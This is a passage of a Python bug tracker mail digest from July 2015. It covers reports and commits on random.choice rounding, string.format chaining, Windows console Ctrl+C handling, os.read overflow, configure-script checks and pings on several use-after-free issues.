<1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> New submission from Serge Anuchin: It seems there is minor bug in random.choice. I've got traceback from my server with IndexError from random.choice, but sequence wasn't empty (seq value was: u'\u0411\u0413\u0414\u0416\u0418\u041b\u0426\u042b\u042d\ u042e\u042f\u0410\u0412\u0415\u041a\u041c\u0420\u0422\ u042312456789') Maybe I mistaken, but only explanation that I have for this exception is rounding by int() of random value that was very close to 1. TL;RD: >>> int(0.99999999999999995) 1 >>> seq = 'test' >>> seq[int(0.99999999999999995 * len(seq))] # logic from random.choice IndexError: string index out of range Is it plausible explanation of exception or I'am wrong? ---------- components: Library (Lib) messages: 246038 nosy: Serge Anuchin, mark.dickinson, rhettinger priority: normal severity: normal status: open title: sequence index bug in random.choice type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 18:29:13 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 01 Jul 2015 16:29:13 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435768153.62.0.760075555139.issue24546@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 18:34:49 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 01 Jul 2015 16:34:49 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <20150701163444.20820.17183@psf.io> Roundup Robot added the comment: New changeset a9d38701536d by Yury Selivanov in branch '3.5': Issue #24400: Add one more unittest for CoroutineType.__await__ https://hg.python.org/cpython/rev/a9d38701536d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 18:49:25 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 01 Jul 2015 16:49:25 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <20150701164921.50129.27953@psf.io> Roundup Robot added the comment: New changeset b2a3baa1c2b0 by Yury Selivanov in branch '3.5': Issue #24400: Mention that __instancecheck__ is used in abc.Awaitable and Coroutine https://hg.python.org/cpython/rev/b2a3baa1c2b0 New changeset 4bf1d332fe73 by Yury Selivanov in branch 'default': Merge 3.5 (issue #24400) https://hg.python.org/cpython/rev/4bf1d332fe73 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 19:08:03 2015 From: report at bugs.python.org (Zachary Ware) Date: Wed, 01 Jul 2015 17:08:03 +0000 Subject: [issue24508] Backport 3.5's Windows build project files to 2.7 In-Reply-To: <1435206408.67.0.0166063443293.issue24508@psf.upfronthosting.co.za> Message-ID: <1435770483.62.0.917221825506.issue24508@psf.upfronthosting.co.za> Zachary Ware added the comment: Thanks for testing this, Steve! It sounds like PCbuild/readme.txt will need a significant update in the setup portion to cover the different ways to get what is needed (and to mention PC/VS9.0 as a simpler setup). I use third-party extension modules rarely enough (and even more rarely on Windows) that I'm not sure what a good set of test extension modules would be. I'm happy to run some tests if somebody can suggest some packages for it, including ones that come with binaries and ones that require compilation. With no negative votes standing, I plan to fix the readmes and commit this before the end of next week. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 20:37:11 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Wed, 01 Jul 2015 18:37:11 +0000 Subject: [issue24545] Issue with ssl package In-Reply-To: <1435758052.81.0.552827758193.issue24545@psf.upfronthosting.co.za> Message-ID: <1435775831.14.0.604167154168.issue24545@psf.upfronthosting.co.za> Antoine Pitrou added the comment: We should probably change the default value for the *ssl_version* parameter. In the meantime, you can workaround this simply with: cert = ssl.get_server_certificate((XXXX, 443), ssl.PROTOCOL_SSLv23) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 20:57:56 2015 From: report at bugs.python.org (Jakub Wilk) Date: Wed, 01 Jul 2015 18:57:56 +0000 Subject: =?utf-8?q?=5Bissue24547=5D_What=E2=80=99s_New_In_Python_3=2E4=3A_stray_?= =?utf-8?b?Iigi?= Message-ID: <1435777076.04.0.84284757159.issue24547@psf.upfronthosting.co.za> New submission from Jakub Wilk: https://docs.python.org/3/whatsnew/3.4.html#multiprocessing reads: "On Unix two new start methods, (spawn and forkserver, have been added for starting processes using multiprocessing." This stray "(" should be removed. ---------- assignee: docs at python components: Documentation messages: 246043 nosy: docs at python, jwilk priority: normal severity: normal status: open title: What?s New In Python 3.4: stray "(" _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 21:08:30 2015 From: report at bugs.python.org (Dmitry Kazakov) Date: Wed, 01 Jul 2015 19:08:30 +0000 Subject: [issue24548] Broken link in the unittest documentation Message-ID: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za> New submission from Dmitry Kazakov: The "Simple Smalltalk Testing: With Patterns" link from https://docs.python.org/3.5/library/unittest.html is dead. I found 2 "mirrors" but I don't think any of them should replace the broken link. 1. http://testingsoftware.blogspot.com/2007/08/smalltalk-testing-with-patterns.html (ads and spam in comments) 2. http://live.exept.de/doc/online/english/tools/misc/testfram.htm (image link is broken) ---------- assignee: docs at python components: Documentation messages: 246044 nosy: docs at python, wau priority: normal severity: normal status: open title: Broken link in the unittest documentation type: enhancement versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 21:23:49 2015 From: report at bugs.python.org (=?utf-8?q?Charles-Fran=C3=A7ois_Natali?=) Date: Wed, 01 Jul 2015 19:23:49 +0000 Subject: [issue23992] multiprocessing: MapResult shouldn't fail fast upon exception In-Reply-To: <1434208284.46.0.110001761014.issue23992@psf.upfronthosting.co.za> Message-ID: Charles-Fran?ois Natali added the comment: Barring any objections, I'll commit within the next few days. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 22:11:34 2015 From: report at bugs.python.org (Andreas Schwab) Date: Wed, 01 Jul 2015 20:11:34 +0000 Subject: [issue24543] Configure script wrongly detects mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435781494.86.0.186373442634.issue24543@psf.upfronthosting.co.za> Andreas Schwab added the comment: That means these tests are broken as well: AC_MSG_CHECKING(for x64 gcc inline assembler) AC_MSG_CHECKING(whether we can use gcc inline assembler to get and set x87 control word) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 22:12:41 2015 From: report at bugs.python.org (Andreas Schwab) Date: Wed, 01 Jul 2015 20:12:41 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435781561.5.0.656644456518.issue24543@psf.upfronthosting.co.za> Changes by Andreas Schwab : ---------- title: Configure script wrongly detects mc68881 with -flto option passed -> Configure script wrongly detects x64/x87/mc68881 with -flto option passed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 22:42:29 2015 From: report at bugs.python.org (azrdev) Date: Wed, 01 Jul 2015 20:42:29 +0000 Subject: [issue24549] string.format() should have a safe_substitute equivalent, to be run consecutively Message-ID: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za> New submission from azrdev: "{1} {0}".format('one').format('two') should return "two one", but throws IndexError: tuple index out of range This would allow partial replacements, similar to string.Template.safe_substitute() I suggest an analog construction (e.g. a method string.safe_format() ) ---------- components: Library (Lib) messages: 246047 nosy: azrdev priority: normal severity: normal status: open title: string.format() should have a safe_substitute equivalent, to be run consecutively type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 1 23:04:55 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 01 Jul 2015 21:04:55 +0000 Subject: [issue24549] string.format() should have a safe_substitute equivalent, to be run consecutively In-Reply-To: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za> Message-ID: <1435784695.05.0.695630336061.issue24549@psf.upfronthosting.co.za> R. David Murray added the comment: Why not use string.Template? ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 01:31:56 2015 From: report at bugs.python.org (Timothy Cardenas) Date: Wed, 01 Jul 2015 23:31:56 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1435793515.99.0.243965909617.issue23517@psf.upfronthosting.co.za> Timothy Cardenas added the comment: We are seeing this behavior influencing other libraries in python 3.4. This should never fail if timestamp and fromtimestamp are implemented correctly: from datetime import datetime t = datetime.utcnow().timestamp() t2 = datetime.utcfromtimestamp(t) assert t == t2, 'Moving from timestamp and back should always work' ---------- nosy: +trcarden _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 03:03:22 2015 From: report at bugs.python.org (Martin Panter) Date: Thu, 02 Jul 2015 01:03:22 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435799002.74.0.594000998592.issue24400@psf.upfronthosting.co.za> Martin Panter added the comment: The last change to /Doc/conf.py seems to have screwed up my docs build. Was that an accident? $ make -C Doc/ htmlsphinx-build -b html -d build/doctrees -D latex_paper_size= . build/html Running Sphinx v1.2.3 loading pickled environment... done Theme error: no theme named 'classic' found (missing theme.conf?) make: *** [build] Error 1 [Exit 2] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 03:07:26 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 02 Jul 2015 01:07:26 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <20150702010723.13369.90175@psf.io> Roundup Robot added the comment: New changeset 68996acdec6f by Yury Selivanov in branch '3.5': docs/conf: Undo changes in b2a3baa1c2b0; issue #24400 https://hg.python.org/cpython/rev/68996acdec6f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 03:09:30 2015 From: report at bugs.python.org (Yury Selivanov) Date: Thu, 02 Jul 2015 01:09:30 +0000 Subject: [issue24400] Awaitable ABC incompatible with functools.singledispatch In-Reply-To: <1433653613.86.0.241600441921.issue24400@psf.upfronthosting.co.za> Message-ID: <1435799370.2.0.242625395254.issue24400@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks, Martin, it was indeed something that shouldn't been committed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 03:57:02 2015 From: report at bugs.python.org (eryksun) Date: Thu, 02 Jul 2015 01:57:02 +0000 Subject: [issue18597] On Windows sys.stdin.readline() doesn't handle Ctrl-C properly In-Reply-To: <1375175592.24.0.539816782076.issue18597@psf.upfronthosting.co.za> Message-ID: <1435802222.07.0.985749845586.issue18597@psf.upfronthosting.co.za> eryksun added the comment: In Windows 10 ReadFile doesn't set ERROR_OPERATION_ABORTED (995) for Ctrl+C when reading console input, but ReadConsole does. >>> from ctypes import * >>> kernel32 = WinDLL('kernel32', use_last_error=True) >>> buf = (c_char * 1)() >>> n = c_uint() >>> kernel32.ReadFile(kernel32.GetStdHandle(-10), buf, 1, byref(n), None) Traceback (most recent call last): File "", line 1, in KeyboardInterrupt >>> get_last_error() 0 >>> kernel32.ReadConsoleA(kernel32.GetStdHandle(-10), buf, 1, byref(n), None) Traceback (most recent call last): File "", line 1, in KeyboardInterrupt >>> get_last_error() 995 Add this to the list of reasons Python should be using the console API for interactive standard streams. As is Ctrl+C is killing the REPL since it gets interpreted as EOF. This bug probably applies to Windows 8, too. Could someone check? Background: In Windows 7 reading from the console is implemented with a common code path to make an LPC call (NtRequestWaitReplyPort) to the console host process, conhost.exe. This was all completely redesigned for Windows 8, which instead uses the ConDrv device driver. Now ReadFile calls NtReadFile, and ReadConsole calls NtDeviceIoControlFile. When splitting this up they apparently forgot to set ERROR_OPERATION_ABORTED for Ctrl+C in ReadFile. ---------- nosy: +eryksun versions: +Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 04:25:29 2015 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 02 Jul 2015 02:25:29 +0000 Subject: [issue24549] string.format() should have a safe_substitute equivalent, to be run consecutively In-Reply-To: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za> Message-ID: <1435803929.12.0.638221467756.issue24549@psf.upfronthosting.co.za> Eric V. Smith added the comment: So let's say your function would be named "safe_format". Then: "{1} {0}".safe_format('one') would give: "{1} one". Then: "{1} one".safe_format('two') would be an error, because there's no index "1" in the args tuple. I can't imagine how you'd implement this function so it would know to start with index 1 on the second call, instead of 0 as usual. Or maybe it would decrement the index values it doesn't use, so that the result of the first call would be: "{0} one". That seems very complex, especially when you throw in implicit argument numbering, named arguments, format specifiers, etc. I agree with David that string.Template might be better for you. On an unrelated note, I think that "IndexError: tuple index out of range" is a horrible error message for this case. I wouldn't mind an enhancement request to make that something like "argument index '1' is out of range, only 1 argument supplied". Or something with better wordsmithing. ---------- components: +Interpreter Core -Library (Lib) nosy: +eric.smith versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 04:31:02 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 02 Jul 2015 02:31:02 +0000 Subject: [issue24549] string.format() should have a safe_substitute equivalent, to be run consecutively In-Reply-To: <1435783349.65.0.381555612902.issue24549@psf.upfronthosting.co.za> Message-ID: <1435804262.45.0.0961354018629.issue24549@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I don't think that this behaviour is desirable, certainly not by default. If I write "{1} {0}".format('one') that's clearly a programming error and I should get an exception. Chaining a second .format method call afterwards does not make the first one any less of a mistake. I think that there may be a good argument to be made for a safe_format with *named* arguments, like string.Template, but not positional arguments. But that would require some discussion, to decide on the correct behaviour. And why not use string.Template in the first place, or make the chained calls a single call? "{1} {0}".format('one', 'two') is clearly the most obvious way to do it. A slightly less obvious way: "{{}} {}".format('one').format('two') ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 05:37:56 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 02 Jul 2015 03:37:56 +0000 Subject: =?utf-8?q?=5Bissue24547=5D_What=E2=80=99s_New_In_Python_3=2E4=3A_stray_?= =?utf-8?b?Iigi?= In-Reply-To: <1435777076.04.0.84284757159.issue24547@psf.upfronthosting.co.za> Message-ID: <20150702033641.14801.43044@psf.io> Roundup Robot added the comment: New changeset 74e75a9aa562 by Benjamin Peterson in branch '3.4': remove stray '(' (closes #24547) https://hg.python.org/cpython/rev/74e75a9aa562 ---------- nosy: +python-dev resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 05:54:01 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 02 Jul 2015 03:54:01 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435809241.84.0.449103093404.issue24546@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Your example of int(0.99999999999999995) returning 1 is misleading, because 0.999...95 is already 1.0. (1.0 - 1/2**53) = 0.9999999999999999 is the nearest float distinguishable from 1.0. It seems to me that either random() may return 1.0 exactly (although I've never seen it) or that 0.9999999999999999*len(s) rounds up to len(s), which I guess is more likely. Sure enough, that first happens with a string of length 2049: py> x = 0.9999999999999999 py> for i in range(1, 1000000): ... if int(i*x) == i: ... print i ... break ... 2049 However your string has length 35, and it certainly doesn't happen there: py> int(x*len(s)) 34 ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 05:58:15 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 02 Jul 2015 03:58:15 +0000 Subject: [issue24515] docstring of isinstance In-Reply-To: <1435312150.5.0.444169583356.issue24515@psf.upfronthosting.co.za> Message-ID: <1435809495.14.0.0339860557284.issue24515@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Closing. If anyone thinks the docs aren't clear enough, and has an alternate version they would like to suggest, you can re-open it. ---------- resolution: -> rejected status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 06:05:45 2015 From: report at bugs.python.org (Tim Peters) Date: Thu, 02 Jul 2015 04:05:45 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435809945.58.0.656251197111.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: > random() may return 1.0 exactly That shouldn't be possible. Although the code does assume C doubles have at least 53 bits of mantissa precision (in which case it does arithmetic that's exact in at least 53 bits - cannot round up to 1.0; but _could_ round up if the platform C double has less than 53 bits of precision). > py> x = 0.9999999999999999 > py> for i in range(1, 1000000): > ... if int(i*x) == i: > ... print i > ... break > ... > 2049 Very surprising! Which platform & Python is that? The loop runs to completion on my box: Python 2.7.9 (default, Dec 10 2014, 12:28:03) [MSC v.1500 64 bit (AMD64)] on win32 ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 06:48:35 2015 From: report at bugs.python.org (Ned Deily) Date: Thu, 02 Jul 2015 04:48:35 +0000 Subject: [issue24537] Py_Initialize unable to load the file system codec In-Reply-To: <1435658671.67.0.0806508765667.issue24537@psf.upfronthosting.co.za> Message-ID: <1435812515.99.0.243849350207.issue24537@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- components: +Windows -Extension Modules nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 07:00:55 2015 From: report at bugs.python.org (Ned Deily) Date: Thu, 02 Jul 2015 05:00:55 +0000 Subject: [issue24540] Documentation about skipkeys parameter for json.dumps is incorrect In-Reply-To: <1435695382.36.0.927622903083.issue24540@psf.upfronthosting.co.za> Message-ID: <1435813255.46.0.365551362834.issue24540@psf.upfronthosting.co.za> Ned Deily added the comment: Can you say where you are seeing this? The current 2.7 documentation for json reads: "If skipkeys is True (default: False), then dict keys that are not of a basic type (str, unicode, int, long, float, bool, None) will be skipped instead of raising a TypeError." https://docs.python.org/2/library/json.html https://docs.python.org/3/library/json.html ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 07:10:30 2015 From: report at bugs.python.org (Ned Deily) Date: Thu, 02 Jul 2015 05:10:30 +0000 Subject: [issue24548] Broken link in the unittest documentation In-Reply-To: <1435777710.4.0.98470331082.issue24548@psf.upfronthosting.co.za> Message-ID: <1435813830.23.0.81062745576.issue24548@psf.upfronthosting.co.za> Changes by Ned Deily : ---------- nosy: +ezio.melotti, michael.foord, rbcollins stage: -> needs patch type: enhancement -> versions: +Python 2.7, Python 3.4, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 07:19:01 2015 From: report at bugs.python.org (Tim Peters) Date: Thu, 02 Jul 2015 05:19:01 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435814341.25.0.634700580934.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: FYI, where x = 1.0 - 2.**-53, I believe it's easy to show this under IEEE double precision arithmetic: For every finite, normal, double y > 0.0, IEEE_multiply(x, y) < y under the default (nearest/even) rounding mode. That implies int(x*i) < i for every int i > 0 representable as an IEEE double (including monstrous ints like 123456789 << 300). Which makes your output _extremely_ surprising, Steven ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 07:27:49 2015 From: report at bugs.python.org (Brian Mingus) Date: Thu, 02 Jul 2015 05:27:49 +0000 Subject: [issue24550] maxint on 64 bit platforms breaks os.read Message-ID: <1435814869.69.0.586441983811.issue24550@psf.upfronthosting.co.za> New submission from Brian Mingus: The lower range for this bug may be anything greater than 32 bit maxint. Other modules such as multiprocessing are limited passing objects of size 32 bit maxint, even on 64 bit systems, likely due to this issue. I have demonstrated this by modifying multiprocessing/connection.py to use longs in send and recv, which it surfaces the following error (note that read is os.read). Traceback (most recent call last): File "/usr/lib/python3.4/multiprocessing/process.py", line 254, in _bootstrap self.run() File "/usr/lib/python3.4/multiprocessing/process.py", line 93, in run self._target(*self._args, **self._kwargs) File "/usr/lib/python3.4/multiprocessing/pool.py", line 103, in worker initializer(*initargs) File "/usr/local/lib/python3.4/dist-packages/gensim-0.11.1_1-py3.4-linux-x86_64.egg/gensim/models/ldamulticore.py", line 266, in worker_e_step chunk_no, chunk, worker_lda = input_queue.get() File "/usr/lib/python3.4/multiprocessing/queues.py", line 96, in get res = self._recv_bytes() File "/usr/lib/python3.4/multiprocessing/connection.py", line 216, in recv_bytes buf = self._recv_bytes(maxlength) File "/usr/lib/python3.4/multiprocessing/connection.py", line 420, in _recv_bytes return self._recv(size) File "/usr/lib/python3.4/multiprocessing/connection.py", line 383, in _recv chunk = read(handle, remaining) OverflowError: signed integer is greater than maximum Which can be traced back to this cpython code: https://github.com/python/cpython/blob/3.4/Modules/posixmodule.c#L8048-L8065 ---------- components: IO messages: 246063 nosy: Brian Mingus priority: normal severity: normal status: open title: maxint on 64 bit platforms breaks os.read type: enhancement versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 08:01:48 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 02 Jul 2015 06:01:48 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435816908.06.0.808050854192.issue24546@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: rhettinger -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 09:01:36 2015 From: report at bugs.python.org (Serge Anuchin) Date: Thu, 02 Jul 2015 07:01:36 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435820496.85.0.28073896219.issue24546@psf.upfronthosting.co.za> Serge Anuchin added the comment: > Which platform & Python is that? Python 2.6.6 (r266:84292, Dec 26 2010, 22:31:48) [GCC 4.4.5] on linux2 Linux li307-195 2.6.39.1-x86_64-linode19 #1 SMP Tue Jun 21 10:04:20 EDT 2011 x86_64 GNU/Linux ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:26:08 2015 From: report at bugs.python.org (paul) Date: Thu, 02 Jul 2015 10:26:08 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1435832768.6.0.810848020843.issue24407@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:26:20 2015 From: report at bugs.python.org (paul) Date: Thu, 02 Jul 2015 10:26:20 +0000 Subject: [issue24098] Multiple use after frees in obj2ast_* methods In-Reply-To: <1430489429.65.0.587999729774.issue24098@psf.upfronthosting.co.za> Message-ID: <1435832780.28.0.38402072787.issue24098@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:26:31 2015 From: report at bugs.python.org (paul) Date: Thu, 02 Jul 2015 10:26:31 +0000 Subject: [issue24104] Use after free in xmlparser_setevents (2) In-Reply-To: <1430489742.91.0.610954411273.issue24104@psf.upfronthosting.co.za> Message-ID: <1435832791.44.0.426571330562.issue24104@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:26:40 2015 From: report at bugs.python.org (paul) Date: Thu, 02 Jul 2015 10:26:40 +0000 Subject: [issue24103] Use after free in xmlparser_setevents (1) In-Reply-To: <1430489715.59.0.155743746692.issue24103@psf.upfronthosting.co.za> Message-ID: <1435832800.46.0.0505128968549.issue24103@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:26:50 2015 From: report at bugs.python.org (paul) Date: Thu, 02 Jul 2015 10:26:50 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435832810.45.0.0161868782082.issue24097@psf.upfronthosting.co.za> paul added the comment: ping ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:47:16 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 02 Jul 2015 10:47:16 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435834036.74.0.977163823455.issue24097@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:48:49 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 02 Jul 2015 10:48:49 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435834129.41.0.349200348429.issue24097@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Thanks for the report. Here is a patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:49:03 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 02 Jul 2015 10:49:03 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435834143.67.0.577736911328.issue24097@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- stage: needs patch -> patch review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:49:41 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 02 Jul 2015 10:49:41 +0000 Subject: [issue24097] Use after free in PyObject_GetState In-Reply-To: <1430489135.55.0.4914099481.issue24097@psf.upfronthosting.co.za> Message-ID: <1435834181.81.0.0975097904765.issue24097@psf.upfronthosting.co.za> Changes by Antoine Pitrou : ---------- keywords: +patch Added file: http://bugs.python.org/file39842/getstate_borrowed_ref.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 12:54:10 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 02 Jul 2015 10:54:10 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435834450.07.0.873003918725.issue24546@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 13:47:47 2015 From: report at bugs.python.org (Tim Golden) Date: Thu, 02 Jul 2015 11:47:47 +0000 Subject: [issue24537] Py_Initialize unable to load the file system codec In-Reply-To: <1435658671.67.0.0806508765667.issue24537@psf.upfronthosting.co.za> Message-ID: <1435837667.0.0.785059694813.issue24537@psf.upfronthosting.co.za> Tim Golden added the comment: I'm not sure why you expect this to work: the Python C API relies on the presence of a Python installation to work. It's not, in itself, a means of bundling Python. I assume you must have at least had the python .dll present or the program wouldn't even have had the initialisation code to run. Part of Python's startup code needs to load certain modules very early in order to, for example, bootstrap the import mechanism and filesystem support which needs encodings to be available to decode filenames etc. If you're still unsure of what the issue is, can I suggest you take this to the Python mailing list: https://mail.python.org/mailman/listinfo/python-list where there is a much bigger audience of people available to help. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 13:57:12 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 11:57:12 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435838232.79.0.373324121885.issue24543@psf.upfronthosting.co.za> Stefan Krah added the comment: Okay, I'll have a look then (I first assumed this was mc68881 specific). ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 14:22:28 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 12:22:28 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435839748.17.0.902622713472.issue24543@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- nosy: +ivank _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 14:22:37 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 12:22:37 +0000 Subject: [issue22126] mc68881 fpcr inline asm breaks clang -flto build In-Reply-To: <1407049962.24.0.593960566551.issue22126@psf.upfronthosting.co.za> Message-ID: <1435839757.54.0.216272341327.issue22126@psf.upfronthosting.co.za> Changes by Stefan Krah : ---------- resolution: 